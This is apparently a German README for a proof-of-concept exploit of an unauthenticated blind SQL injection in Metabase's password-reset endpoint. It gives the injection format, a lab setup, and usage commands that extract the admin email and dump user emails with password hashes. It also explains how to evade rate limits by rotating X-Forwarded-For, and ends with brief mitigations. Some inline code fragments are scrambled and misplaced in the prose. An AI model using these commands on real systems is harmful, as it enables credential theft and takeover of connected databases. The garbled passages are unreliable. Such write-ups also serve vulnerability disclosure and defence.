
# Unauthentifizierter Blind-SQL-Injection-Exploit für Metabase Nutzt eine Roh-SQL-Injection im Passwort-Reset-Endpunkt aus, um Daten über zeitbasierte Techniken zu extrahieren.
★ CVE-2026-72898 Metabase /api/session/reset_password ohne Authentifizierung blinde SQLi PoC ★
https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59
CVE-2026-72898 ist eine SQL-Injection ohne Authentifizierung in Metabase (CVSS 10.0), erreichbar über den öffentlichen
POST /api/session/reset_password-Endpunkt. Der Endpunkt führt den Request-Body mit dem (fehlgeschlagenen) Authentifizierungsergebnis zusammen —(merge request (authenticate ...))— sodass ein vom Angreifer bereitgestelltesuser-id-Feld unverändert überlebt und die Anwendungsdatenbank-Benutzersuchet2/select-one :model/User :id user-iderreicht. Metabase erstellt SQL mit , dessen -Map als kompiliert wird (ohne Parameterbindung). Das Senden von als injiziert daher beliebiges SQL in die Anwendungsdatenbank. Der Endpunkt gibt immer zurück, daher ist die Injection ; Daten werden mit wiederhergestellt (die produktionsübliche Postgres-Anwendungsdatenbank). Eine erfolgreiche Ausnutzung liefert Metabase-Admin-Daten, gespeicherte Verbindungsdaten für jede angebundene Datenquelle und vollständigen Zugriff auf diese Datenbanken.
{:raw "..."}user-id{"raw":"<SQL>"}400pg_sleep| Kategorie | Version |
|---|---|
| Verwundbar | Metabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4 |
| Behoben | v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 oder neuer |
pos-int?-Prüfung hinzu, sodass eine nicht-ganzzahlige user-id vor der Abfrage abgelehnt wirdErstellen und starten Sie die verwundbare Metabase-Instanz. Sie verwendet eine Postgres-Anwendungsdatenbank (erforderlich — die
zeitbasierte Technik benötigt pg_sleep, das H2 nicht besitzt) und schließt die Ersteinrichtung automatisch ab, sodass sie
zu einer Login-Seite startet. Der Start dauert etwa 40–60 Sekunden.
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
| Voraussetzung | Zustand in dieser Laborumgebung |
|---|---|
| Metabase v58 – v63.4 | v0.62.1 |
Postgres-Anwendungsdatenbank (ermöglicht pg_sleep) | im Image enthalten |
/api/session/reset_password ohne Authentifizierung erreichbar | freigegeben |
| Pro-IP-Reset-Drosselung (umgangen durch Rotation von X-Forwarded-For) | MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For |
Der Exploit metabase_exploit.py liest jeden Wert, auf den Sie ihn ausrichten, ohne Anmeldedaten, mithilfe
der zeitbasierten blinden Primitive. Er sendet pro Anfrage eine neue zufällige X-Forwarded-For-Adresse, um die
Pro-IP-Ratenbegrenzung zu umgehen (wie es die Angriffe in freier Wildbahn taten). Wählen Sie das Ziel mit --extract "<SQL>".
# Standard: Admin-E-Mail extrahieren
python3 metabase_exploit.py 172.17.0.2:3000
# Beliebiges extrahieren (beliebiger SQL-Skalarausdruck)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
[*] Ziel http://172.17.0.2:3000/api/session/reset_password
[*] extrahiere (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] Länge = 15; extrahiere ...
[ 1] a
[ 2] ad
...
[ 15] [email protected]
[+] EXTRAHIERT: [email protected]
Optionen:
--check — nur bestätigen, dass die Injection ausnutzbar ist (zeigt den pg_sleep-Zeitunterschied)--extract "<SQL>" — beliebiger SQL-Skalarausdruck (wird automatisch in Text umgewandelt)--sleep 0.4 — Verzögerung pro TRUE-Bit (bei langsamem/Remote-Ziel erhöhen)POST /api/session/reset_password an einem Proxy/WAF blockierencore_session), Admin-Konten und API-Schlüssel überprüfen und die Verbindungsdaten jeder angebundenen Datenquelle rotieren (davon ausgehen, dass sie offengelegt wurden, wenn der Endpunkt über das Internet erreichbar war)